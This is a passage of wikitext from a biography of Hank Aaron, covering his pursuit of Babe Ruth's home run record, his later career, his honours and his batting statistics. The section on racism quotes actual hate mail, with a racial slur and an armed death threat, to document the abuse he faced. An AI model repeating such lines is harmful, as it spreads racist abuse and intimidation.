During the strike shortened season of [[1972 in sports|1972]], Aaron tied and then surpassed [[Willie Mays]] for second place on the career home run list with home runs on [[May 31]] (648) off of the [[San Diego Padres|Padres]]' [[Fred Norman]] and [[June 10]] (649) off of the [[Philadelphia Phillies|Phillies]]' [[Wayne Twitchell]].  His home run on [[June 10]] was also his 14th grand slam, tying him with [[Willie McCovey]] and [[Gil Hodges]] for the National League record.  On [[June 28]] Aaron hit a two-run homer to tie [[Lou Gehrig]] for second place on the all-time RBI list with 1,990.  The next day he passes Gehrig with a home run off of the [[San Diego Padres|Padres]]' [[Mike Caldwell]] to move into sole possession of second place on the all-time RBI list.  Aaron got his 2,000 career RBI when he homered off [[Houston Astros|Astros]]' [[Jim York]].  Aaron tied then surpassed [[Babe Ruth]] for the most home runs by a player with a single team when he homered for the 659th time as a Brave on [[July 19]] against the [[Pittsburgh Pirates|Pirates]]' [[Nelson Briles]] and for the 660th on [[July 25]] against the [[Cincinnati Reds|Reds]]' [[Wayne Simpson]].  At the first [[Major League Baseball All-Star Game|All-Star Game]] in Atlanta, Aaron thrilled the hometown crowd by homering in the sixth inning off the [[Cleveland Indians]]' [[Gaylord Perry]].  Aaron homered twice against the [[Philadelphia Phillies|Phillies]] to break [[Stan Musial]]'s major league record for total bases (6,134).

====Racism and the record====
[[Image:hank_aaron_jersey.jpg|thumb|200px|Hank Aaron's jersey worn when he broke Babe Ruth's record]]
The chase to beat the [[Babe Ruth|Babe]] heated up in the summer of [[1973 in sports|1973]] and with it the mail.  Aaron needed a secretary to sort it as he received more than an estimated 3,000 letters a day, more than any American outside of [[politics]].  Unfortunately, [[racist]]s initially did much of the writing.  A sampling:

&lt;blockquote&gt;''&quot;Dear [[Nigger]] Henry,&lt;BR&gt;You are (not) going to break this record established by the great Babe Ruth if I can help it. ...&lt;br/&gt; Whites are far more superior than '''jungle bunnies'''. My gun is watching your every black move.&quot;''&lt;/blockquote&gt;

&lt;blockquote&gt;''&quot;Dear Henry Aaron,&lt;BR&gt;How about some [[sickle cell anemia]], Hank?&quot;''&lt;/blockquote&gt;

The letters came from every state, but most were postmarked in northern cities.  They were filled with hate; more hate than Aaron had ever imagined.  &quot;This&quot;, Aaron said later about the letters, &quot;changed me&quot;.

Aaron hit his 700th home run off of the [[Philadelphia Phillies|Phillies]]' [[Ken Brett]].  The 1973 season ended with Aaron at 713 homers after hitting a remarkable 40 in just 392 at-bats.  He was 39.  The Braves became the first team to have three players hit 40 or more homers in a season.  [[Darrell Evans]] and [[Davey Johnson]] also reached the 40-homer mark.

Over the winter, Aaron endured [[death threat]]s and a barrage of [[racist]] hate mail from people who did not want to see a black man break Ruth's home run record.  [[Lewis Grizzard]], then sports editor the ''Atlanta Journal'' became so concerned that he had an obituary written just in case.  However, when the harassment became widely known, the ballplayer enjoyed a massive flood of public support motivated at least partially to counter the [[bigotry]].  This included Babe Ruth's widow who denounced the racists and declared that her husband would have enthusiastically cheered Aaron's attempt at the record. As the [[1974 in sports|1974]] season began, Aaron's pursuit of the home run record caused a small controversy. 

[[Image:Aaron 1976.jpg|thumb|175px|left|Aaron as a Milwaukee Brewer]]The Braves opened the season on the road in [[Cincinnati]] with a three game series. Braves management wanted him to break the record in [[Atlanta]].  Therefore, they were going to have Aaron sit out the first three games of the season.  Commissioner [[Bowie Kuhn]] ruled that he had to play two out of three.  He tied [[Babe Ruth]]'s record in his very first at bat, but did not hit another home run in the series.  The largest crowd in Braves history (53,775) watched Hank Aaron break the record on [[April 8]], [[1974]] with a home run in the 4th inning off [[Los Angeles Dodgers|Los Angeles]] pitcher [[Al Downing (baseball player)|Al Downing]].  The ball landed in the Braves bullpen where reliever [[Tom House]] caught it.  While cannons were firing in celebration and Aaron rounded the bases, two college students appeared and ran alongside of him before security stepped in.  Aaron's mother ran onto the field and into the arms of her son, tears brimming in her eyes.  Mrs. Aaron wasn't just proud of her son; she rushed the plate because she thought her son had been shot.  On [[October 2]], [[1974]], Aaron hit his 733rd and final home run as a Brave.

One month later, on [[November 2]], [[1974]], the Braves traded Aaron to the [[Milwaukee Brewers]] for [[Roger Alexander]] and [[Dave May]].  Because the Brewers were an [[American League]] team, Aaron could extend his career by taking advantage of the [[designated hitter]] rule.

As a popular member of the long-missed [[Atlanta Braves|Milwaukee Braves]] club, Aaron brought credibility to the new Brewers franchise.
 
Aaron broke baseball's all time RBI record on [[May 1]], [[1975]] and on [[July 20]], [[1976 in sports|1976]] Hank Aaron hit his 755th and final home run off the [[California Angels]]' [[Dick Drago]] at [[Milwaukee County Stadium]].

==Post-playing career==
{{MLB HoF}}
[[Image:HankAaronHallofFamePlaque.jpg|thumb|right|Hank Aaron's Plaque at the [[Baseball Hall of Fame]]]]
Aaron rejoined the Atlanta Braves organization as player development director four days after retiring from baseball.  On [[August 1]], [[1982 in sports|1982]] Hank Aaron was inducted into the [[Baseball Hall of Fame]], receiving votes on 97.8 percent of the ballots.  At the time, only [[Ty Cobb]] received a higher percentage (98.2) of votes cast.

Aaron became one of the first blacks in Major League Baseball upper-level management as Atlanta's vice president of player development.  Since December [[1989 in sports|1989]], he has served as senior vice president and assistant to the president, but he is more active for [[Turner Broadcasting]] as a corporate vice president of community relations and a member of TBS' board of directors.  He also is vice president of business development for [[The Airport Network]].

On [[February 5]], [[1999 in sports|1999]], at a celebration for his 65th birthday, Aaron was honored for his achievements as a player and a person.  [[Major League Baseball]] announced the introduction of the [[Hank Aaron Award]], to be presented annually to the best hitters in the [[American League]] and [[National League]].  The first major award to be introduced in more than thirty years, it is also the first to be named after a former player still living at the time the award was inaugurated.  Later that year, he ranked number 5 on ''[[The Sporting News]]''' list of the 100 Greatest Baseball Players, and was elected to the [[Major League Baseball]] All-Century Team.

In [[2002]] Aaron received the [[Presidential Medal of Freedom]], the nation's highest civilian honor.

Aaron attended Game 4 of the [[2004 World Series]] at [[Busch Stadium]] in [[St. Louis, Missouri]] and personally awarded the Hank Aaron Award to winners &amp;ndash; [[Barry Bonds]] in the NL, [[Manny Ramirez]] in the AL.

His autobiography ''I Had a Hammer'' was published in [[1990]]. Aaron now owns Hank Aaron [[BMW]] of south Atlanta where every car is sold with an [[autograph]]ed baseball.

Statues of Aaron now stand outside the front entrance of both [[Turner Field]] and [[Miller Park]], where the Braves and Brewers currently play.  ([[Atlanta-Fulton County Stadium]] and [[Milwaukee County Stadium]], which were Aaron's home parks for his entire career, were demolished in [[1997]] and [[2001]], respectively, and parking lots for the current ballparks now occupy the sites.)

Turner Field's home address is 755 Hank Aaron Drive SE, in honor of Aaron's 755 career home runs.

Aaron's jersey number &quot;44&quot; has been retired by both the Atlanta Braves and the Milwaukee Brewers.

==Records and achievements==
* All-time home run leader: 755
* All-time games played: 3,298 (at time of retirement, currently 3rd behind [[Pete Rose]] and [[Carl Yastrzemski]])
* All-time at-bats leader: 12,364 (at time of retirement, currently 2nd behind [[Pete Rose]])
* All-time RBI leader: 2,297
* All-time total bases leader: 6,856
* All-time extra-base hits leader: 1,477
* NL [[MLB Most Valuable Player award|MVP]]: [[1957 in sports|1957]]
* Gold Glove award: [[1958 in sports|1958]] – [[1960 in sports|1960]]
* The Sporting News NL Player of the Year: [[1956 in sports|1956]], [[1963 in sports|1963]]
* NL batting champion: [[1956 in sports|1956]] (.328), [[1959 in sports|1959]] (.355)
* NL home run champion: [[1957 in sports|1957]] (44), [[1963 in sports|1963]] (44), [[1966 in sports|1966]] (44), [[1967 in sports|1967]] (39)
* NL RBI leader: [[1957 in sports|1957]] (132), [[1960 in sports|1960]] (126), [[1963 in sports|1963]] (130), [[1966 in sports|1966]] (127)
* NL total bases leader: [[1956 in sports|1956]] (340), [[1957 in sports|1957]] (369), [[1959 in sports|1959]] (400), [[1960 in sports|1960]] (334), [[1961 in sports|1961]] (358), [[1963 in sports|1963]] (370), [[1967 in sports|1967]] (344), [[1969 in sports|1969]] (332)
* NL slugging percentage leader: [[1959 in sports|1959]] (.636), [[1963 in sports|1963]] (.586), [[1971 in sports|1971]] (.669)
* NL runs scored leader: [[1957 in sports|1957]] (118); [[1963 in sports|1963]] (121); [[1967 in sports|1967]](113)
* [[Lou Gehrig Memorial Award]]: [[1970 in sports|1970]]
* NL hits leader: [[1956 in sports|1956]] (200), [[1959 in sports|1959]] (223)
* NL doubles leader: [[1955 in sports|1955]] (37), [[1956 in sports|1956]] (34), [[1961 in sports|1961]] (39), [[1965 in sports|1965]] (40)
* Three home runs in one game: [[June 21]], [[1959 in sports|1959]]
* Elected to Baseball Hall of Fame: [[1982 in sports|1982]]
* [[List of major league players with 2,000 hits|Third in career hits]] (3,771)
* Only player to hit at least 30 home runs in 15 seasons
* Only player to hit at least 20 home runs in 20 seasons
* Hit 40 home runs in a season 8 times
* First player to reach 3,000 hits and 500 home runs
* 21 [[Major League Baseball All-Star Game|All-Star]] appearances

==Statistics==
{| cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; style=&quot;border: 1px solid black;&quot;
|- align=&quot;center&quot; bgcolor=&quot;black&quot; style=&quot;color:white;&quot; 
|'''&lt;small&gt;YEAR&lt;/small&gt;'''
|'''&lt;small&gt;TEAM&lt;/small&gt;'''
|'''&lt;small&gt;AGE&lt;/small&gt;'''
|'''&lt;small&gt;G&lt;/small&gt;'''
|'''&lt;small&gt;AB&lt;/small&gt;'''
|'''&lt;small&gt;R&lt;/small&gt;'''
|'''&lt;small&gt;H&lt;/small&gt;'''
|'''&lt;small&gt;2B&lt;/small&gt;'''
|'''&lt;small&gt;3B&lt;/small&gt;'''
|'''&lt;small&gt;HR&lt;/small&gt;'''
|'''&lt;small&gt;HR%&lt;/small&gt;'''
|'''&lt;small&gt;RBI&lt;/small&gt;'''
|'''&lt;small&gt;BB&lt;/small&gt;'''
|'''&lt;small&gt;SO&lt;/small&gt;'''
|'''&lt;small&gt;SB&lt;/small&gt;'''
|'''&lt;small&gt;CS&lt;/small&gt;'''
|'''&lt;small&gt;AVG&lt;/small&gt;'''
|'''&lt;small&gt;SLG&lt;/small&gt;'''
|'''&lt;small&gt;OBA&lt;/small&gt;'''
|'''&lt;small&gt;OPS&lt;/small&gt;'''
|'''&lt;small&gt;RC&lt;/small&gt;'''
|'''&lt;small&gt;RCAA&lt;/small&gt;'''
|'''&lt;small&gt;RCAP&lt;/small&gt;'''
|'''&lt;small&gt;OWP&lt;/small&gt;'''
|'''&lt;small&gt;RC/G&lt;/small&gt;'''
|'''&lt;small&gt;TB&lt;/small&gt;'''
|'''&lt;small&gt;EBH&lt;/small&gt;'''
|'''&lt;small&gt;ISO&lt;/small&gt;'''
|'''&lt;small&gt;SEC&lt;/small&gt;'''
|'''&lt;small&gt;BPA&lt;/small&gt;'''
|'''&lt;small&gt;IBB&lt;/small&gt;'''
|'''&lt;small&gt;HBP&lt;/small&gt;'''
|'''&lt;small&gt;SAC&lt;/small&gt;'''
|'''&lt;small&gt;SF&lt;/small&gt;'''
|'''&lt;small&gt;GIDP&lt;/small&gt;'''
|'''&lt;small&gt;OUTS&lt;/small&gt;'''
|'''&lt;small&gt;PA&lt;/small&gt;'''
|'''&lt;small&gt;POS&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1954&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;122&lt;/small&gt;'''
|'''&lt;small&gt;468&lt;/small&gt;'''
|'''&lt;small&gt;58&lt;/small&gt;'''
|'''&lt;small&gt;131&lt;/small&gt;'''
|'''&lt;small&gt;27&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;13&lt;/small&gt;'''
|'''&lt;small&gt;2.78&lt;/small&gt;'''
|'''&lt;small&gt;69&lt;/small&gt;'''
|'''&lt;small&gt;28&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;0.280&lt;/small&gt;'''
|'''&lt;small&gt;0.447&lt;/small&gt;'''
|'''&lt;small&gt;0.322&lt;/small&gt;'''
|'''&lt;small&gt;0.769&lt;/small&gt;'''
|'''&lt;small&gt;63&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;font size=&quot;1&quot; color=&quot;red&quot; &gt;-3&lt;/font&gt;'''
|'''&lt;small&gt;0.512&lt;/small&gt;'''
|'''&lt;small&gt;4.70&lt;/small&gt;'''
|'''&lt;small&gt;209&lt;/small&gt;'''
|'''&lt;small&gt;46&lt;/small&gt;'''
|'''&lt;small&gt;0.167&lt;/small&gt;'''
|'''&lt;small&gt;0.226&lt;/small&gt;'''
|'''&lt;small&gt;0.451&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;13&lt;/small&gt;'''
|'''&lt;small&gt;362&lt;/small&gt;'''
|'''&lt;small&gt;509&lt;/small&gt;'''
|'''&lt;small&gt;LF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1955&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;21&lt;/small&gt;'''
|'''&lt;small&gt;153&lt;/small&gt;'''
|'''&lt;small&gt;602&lt;/small&gt;'''
|'''&lt;small&gt;105&lt;/small&gt;'''
|'''&lt;small&gt;189&lt;/small&gt;'''
|'''&lt;small&gt;37&lt;/small&gt;'''
|'''&lt;small&gt;9&lt;/small&gt;'''
|'''&lt;small&gt;27&lt;/small&gt;'''
|'''&lt;small&gt;4.49&lt;/small&gt;'''
|'''&lt;small&gt;106&lt;/small&gt;'''
|'''&lt;small&gt;49&lt;/small&gt;'''
|'''&lt;small&gt;61&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.314&lt;/small&gt;'''
|'''&lt;small&gt;0.540&lt;/small&gt;'''
|'''&lt;small&gt;0.366&lt;/small&gt;'''
|'''&lt;small&gt;0.906&lt;/small&gt;'''
|'''&lt;small&gt;113&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;37&lt;/small&gt;'''
|'''&lt;small&gt;0.679&lt;/small&gt;'''
|'''&lt;small&gt;6.86&lt;/small&gt;'''
|'''&lt;small&gt;325&lt;/small&gt;'''
|'''&lt;small&gt;73&lt;/small&gt;'''
|'''&lt;small&gt;0.226&lt;/small&gt;'''
|'''&lt;small&gt;0.311&lt;/small&gt;'''
|'''&lt;small&gt;0.546&lt;/small&gt;'''
|'''&lt;small&gt;5&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;7&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;445&lt;/small&gt;'''
|'''&lt;small&gt;665&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1956&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;22&lt;/small&gt;'''
|'''&lt;small&gt;153&lt;/small&gt;'''
|'''&lt;small&gt;609&lt;/small&gt;'''
|'''&lt;small&gt;106&lt;/small&gt;'''
|'''&lt;small&gt;200&lt;/small&gt;'''
|'''&lt;small&gt;34&lt;/small&gt;'''
|'''&lt;small&gt;14&lt;/small&gt;'''
|'''&lt;small&gt;26&lt;/small&gt;'''
|'''&lt;small&gt;4.27&lt;/small&gt;'''
|'''&lt;small&gt;92&lt;/small&gt;'''
|'''&lt;small&gt;37&lt;/small&gt;'''
|'''&lt;small&gt;54&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;0.328&lt;/small&gt;'''
|'''&lt;small&gt;0.558&lt;/small&gt;'''
|'''&lt;small&gt;0.365&lt;/small&gt;'''
|'''&lt;small&gt;0.923&lt;/small&gt;'''
|'''&lt;small&gt;115&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;34&lt;/small&gt;'''
|'''&lt;small&gt;0.679&lt;/small&gt;'''
|'''&lt;small&gt;6.96&lt;/small&gt;'''
|'''&lt;small&gt;340&lt;/small&gt;'''
|'''&lt;small&gt;74&lt;/small&gt;'''
|'''&lt;small&gt;0.230&lt;/small&gt;'''
|'''&lt;small&gt;0.287&lt;/small&gt;'''
|'''&lt;small&gt;0.544&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;5&lt;/small&gt;'''
|'''&lt;small&gt;7&lt;/small&gt;'''
|'''&lt;small&gt;21&lt;/small&gt;'''
|'''&lt;small&gt;446&lt;/small&gt;'''
|'''&lt;small&gt;660&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1957&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;23&lt;/small&gt;'''
|'''&lt;small&gt;151&lt;/small&gt;'''
|'''&lt;small&gt;615&lt;/small&gt;'''
|'''&lt;small&gt;118&lt;/small&gt;'''
|'''&lt;small&gt;198&lt;/small&gt;'''
|'''&lt;small&gt;27&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;44&lt;/small&gt;'''
|'''&lt;small&gt;7.15&lt;/small&gt;'''
|'''&lt;small&gt;132&lt;/small&gt;'''
|'''&lt;small&gt;57&lt;/small&gt;'''
|'''&lt;small&gt;58&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.322&lt;/small&gt;'''
|'''&lt;small&gt;0.600&lt;/small&gt;'''
|'''&lt;small&gt;0.378&lt;/small&gt;'''
|'''&lt;small&gt;0.978&lt;/small&gt;'''
|'''&lt;small&gt;135&lt;/small&gt;'''
|'''&lt;small&gt;66&lt;/small&gt;'''
|'''&lt;small&gt;64&lt;/small&gt;'''
|'''&lt;small&gt;0.772&lt;/small&gt;'''
|'''&lt;small&gt;8.40&lt;/small&gt;'''
|'''&lt;small&gt;369&lt;/small&gt;'''
|'''&lt;small&gt;77&lt;/small&gt;'''
|'''&lt;small&gt;0.278&lt;/small&gt;'''
|'''&lt;small&gt;0.371&lt;/small&gt;'''
|'''&lt;small&gt;0.612&lt;/small&gt;'''
|'''&lt;small&gt;15&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;13&lt;/small&gt;'''
|'''&lt;small&gt;434&lt;/small&gt;'''
|'''&lt;small&gt;675&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1958&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;24&lt;/small&gt;'''
|'''&lt;small&gt;153&lt;/small&gt;'''
|'''&lt;small&gt;601&lt;/small&gt;'''
|'''&lt;small&gt;109&lt;/small&gt;'''
|'''&lt;small&gt;196&lt;/small&gt;'''
|'''&lt;small&gt;34&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;30&lt;/small&gt;'''
|'''&lt;small&gt;4.99&lt;/small&gt;'''
|'''&lt;small&gt;95&lt;/small&gt;'''
|'''&lt;small&gt;59&lt;/small&gt;'''
|'''&lt;small&gt;49&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0.326&lt;/small&gt;'''
|'''&lt;small&gt;0.546&lt;/small&gt;'''
|'''&lt;small&gt;0.386&lt;/small&gt;'''
|'''&lt;small&gt;0.931&lt;/small&gt;'''
|'''&lt;small&gt;120&lt;/small&gt;'''
|'''&lt;small&gt;54&lt;/small&gt;'''
|'''&lt;small&gt;49&lt;/small&gt;'''
|'''&lt;small&gt;0.745&lt;/small&gt;'''
|'''&lt;small&gt;7.53&lt;/small&gt;'''
|'''&lt;small&gt;328&lt;/small&gt;'''
|'''&lt;small&gt;68&lt;/small&gt;'''
|'''&lt;small&gt;0.220&lt;/small&gt;'''
|'''&lt;small&gt;0.323&lt;/small&gt;'''
|'''&lt;small&gt;0.557&lt;/small&gt;'''
|'''&lt;small&gt;16&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;3&lt;/small&gt;'''
|'''&lt;small&gt;21&lt;/small&gt;'''
|'''&lt;small&gt;430&lt;/small&gt;'''
|'''&lt;small&gt;664&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1959&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;25&lt;/small&gt;'''
|'''&lt;small&gt;154&lt;/small&gt;'''
|'''&lt;small&gt;629&lt;/small&gt;'''
|'''&lt;small&gt;116&lt;/small&gt;'''
|'''&lt;small&gt;223&lt;/small&gt;'''
|'''&lt;small&gt;46&lt;/small&gt;'''
|'''&lt;small&gt;7&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;6.20&lt;/small&gt;'''
|'''&lt;small&gt;123&lt;/small&gt;'''
|'''&lt;small&gt;51&lt;/small&gt;'''
|'''&lt;small&gt;54&lt;/small&gt;'''
|'''&lt;small&gt;8&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;0.355&lt;/small&gt;'''
|'''&lt;small&gt;0.636&lt;/small&gt;'''
|'''&lt;small&gt;0.401&lt;/small&gt;'''
|'''&lt;small&gt;1.037&lt;/small&gt;'''
|'''&lt;small&gt;156&lt;/small&gt;'''
|'''&lt;small&gt;82&lt;/small&gt;'''
|'''&lt;small&gt;71&lt;/small&gt;'''
|'''&lt;small&gt;0.794&lt;/small&gt;'''
|'''&lt;small&gt;9.71&lt;/small&gt;'''
|'''&lt;small&gt;400&lt;/small&gt;'''
|'''&lt;small&gt;92&lt;/small&gt;'''
|'''&lt;small&gt;0.281&lt;/small&gt;'''
|'''&lt;small&gt;0.375&lt;/small&gt;'''
|'''&lt;small&gt;0.641&lt;/small&gt;'''
|'''&lt;small&gt;17&lt;/small&gt;'''
|'''&lt;small&gt;4&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;9&lt;/small&gt;'''
|'''&lt;small&gt;19&lt;/small&gt;'''
|'''&lt;small&gt;434&lt;/small&gt;'''
|'''&lt;small&gt;693&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1960&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;26&lt;/small&gt;'''
|'''&lt;small&gt;153&lt;/small&gt;'''
|'''&lt;small&gt;590&lt;/small&gt;'''
|'''&lt;small&gt;102&lt;/small&gt;'''
|'''&lt;small&gt;172&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;11&lt;/small&gt;'''
|'''&lt;small&gt;40&lt;/small&gt;'''
|'''&lt;small&gt;6.78&lt;/small&gt;'''
|'''&lt;small&gt;126&lt;/small&gt;'''
|'''&lt;small&gt;60&lt;/small&gt;'''
|'''&lt;small&gt;63&lt;/small&gt;'''
|'''&lt;small&gt;16&lt;/small&gt;'''
|'''&lt;small&gt;7&lt;/small&gt;'''
|'''&lt;small&gt;0.292&lt;/small&gt;'''
|'''&lt;small&gt;0.566&lt;/small&gt;'''
|'''&lt;small&gt;0.352&lt;/small&gt;'''
|'''&lt;small&gt;0.919&lt;/small&gt;'''
|'''&lt;small&gt;119&lt;/small&gt;'''
|'''&lt;small&gt;51&lt;/small&gt;'''
|'''&lt;small&gt;49&lt;/small&gt;'''
|'''&lt;small&gt;0.732&lt;/small&gt;'''
|'''&lt;small&gt;7.22&lt;/small&gt;'''
|'''&lt;small&gt;334&lt;/small&gt;'''
|'''&lt;small&gt;71&lt;/small&gt;'''
|'''&lt;small&gt;0.275&lt;/small&gt;'''
|'''&lt;small&gt;0.392&lt;/small&gt;'''
|'''&lt;small&gt;0.598&lt;/small&gt;'''
|'''&lt;small&gt;13&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;0&lt;/small&gt;'''
|'''&lt;small&gt;12&lt;/small&gt;'''
|'''&lt;small&gt;8&lt;/small&gt;'''
|'''&lt;small&gt;445&lt;/small&gt;'''
|'''&lt;small&gt;664&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
|'''&lt;small&gt;1961&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;27&lt;/small&gt;'''
|'''&lt;small&gt;155&lt;/small&gt;'''
|'''&lt;small&gt;603&lt;/small&gt;'''
|'''&lt;small&gt;115&lt;/small&gt;'''
|'''&lt;small&gt;197&lt;/small&gt;'''
|'''&lt;small&gt;39&lt;/small&gt;'''
|'''&lt;small&gt;10&lt;/small&gt;'''
|'''&lt;small&gt;34&lt;/small&gt;'''
|'''&lt;small&gt;5.64&lt;/small&gt;'''
|'''&lt;small&gt;120&lt;/small&gt;'''
|'''&lt;small&gt;56&lt;/small&gt;'''
|'''&lt;small&gt;64&lt;/small&gt;'''
|'''&lt;small&gt;21&lt;/small&gt;'''
|'''&lt;small&gt;9&lt;/small&gt;'''
|'''&lt;small&gt;0.327&lt;/small&gt;'''
|'''&lt;small&gt;0.594&lt;/small&gt;'''
|'''&lt;small&gt;0.381&lt;/small&gt;'''
|'''&lt;small&gt;0.974&lt;/small&gt;'''
|'''&lt;small&gt;131&lt;/small&gt;'''
|'''&lt;small&gt;59&lt;/small&gt;'''
|'''&lt;small&gt;35&lt;/small&gt;'''
|'''&lt;small&gt;0.746&lt;/small&gt;'''
|'''&lt;small&gt;8.02&lt;/small&gt;'''
|'''&lt;small&gt;358&lt;/small&gt;'''
|'''&lt;small&gt;83&lt;/small&gt;'''
|'''&lt;small&gt;0.267&lt;/small&gt;'''
|'''&lt;small&gt;0.380&lt;/small&gt;'''
|'''&lt;small&gt;0.615&lt;/small&gt;'''
|'''&lt;small&gt;20&lt;/small&gt;'''
|'''&lt;small&gt;2&lt;/small&gt;'''
|'''&lt;small&gt;1&lt;/small&gt;'''
|'''&lt;small&gt;9&lt;/small&gt;'''
|'''&lt;small&gt;16&lt;/small&gt;'''
|'''&lt;small&gt;441&lt;/small&gt;'''
|'''&lt;small&gt;671&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1962&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
|'''&lt;small&gt;28&lt;/small&gt;'''
|'''&lt;small&gt;156&lt;/small&gt;'''
|'''&lt;small&gt;592&lt;/small&gt;'''
|'''&lt;small&gt;127&lt;/small&gt;'''
|'''&lt;small&gt;191&lt;/small&gt;'''
|'''&lt;small&gt;28&lt;/small&gt;'''
|'''&lt;small&gt;6&lt;/small&gt;'''
|'''&lt;small&gt;45&lt;/small&gt;'''
|'''&lt;small&gt;7.60&lt;/small&gt;'''
|'''&lt;small&gt;128&lt;/small&gt;'''
|'''&lt;small&gt;66&lt;/small&gt;'''
|'''&lt;small&gt;73&lt;/small&gt;'''
|'''&lt;small&gt;15&lt;/small&gt;'''
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|- align=&quot;center&quot;
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|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot; bgcolor=&quot;silver&quot;
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|'''&lt;small&gt;0.379&lt;/small&gt;'''
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|'''&lt;small&gt;0.242&lt;/small&gt;'''
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|'''&lt;small&gt;0.603&lt;/small&gt;'''
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|'''&lt;small&gt;416&lt;/small&gt;'''
|'''&lt;small&gt;639&lt;/small&gt;'''
|'''&lt;small&gt;RF&lt;/small&gt;'''
|- align=&quot;center&quot;
|'''&lt;small&gt;1966&lt;/small&gt;'''
|'''&lt;small&gt;Braves&lt;/small&gt;'''
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|'''&lt;small&gt;44&lt;/small&gt;'''
|'''&lt;small&gt;7.30&lt;/small&gt;'''
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|'''&lt;small&gt;21&lt;/small&gt;'''
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|'''&lt;small&gt;0.356&lt;/small&gt;'''
|'''&lt;small&gt;0.895&lt;/small&gt;'''
|'''&lt;small&gt;117&lt;/small&gt;'''
|'''&lt;small&gt;42&lt;/small&gt;'''
|'''&lt;small&gt;32&lt;/small&gt;'''
|'''&lt;small&gt;0.689&lt;/small&gt;'''
|'''&lt;small&gt;6.87&lt;/small&gt;'''
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|'''&lt;small&gt;0.260&lt;/small&gt;'''
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|'''&lt;small&gt;0.590&lt;/small&gt;'''
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|'''&lt;small&gt;1&lt;/small&gt;'''
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|'''&lt;small&gt;14&lt;/small&gt;'''
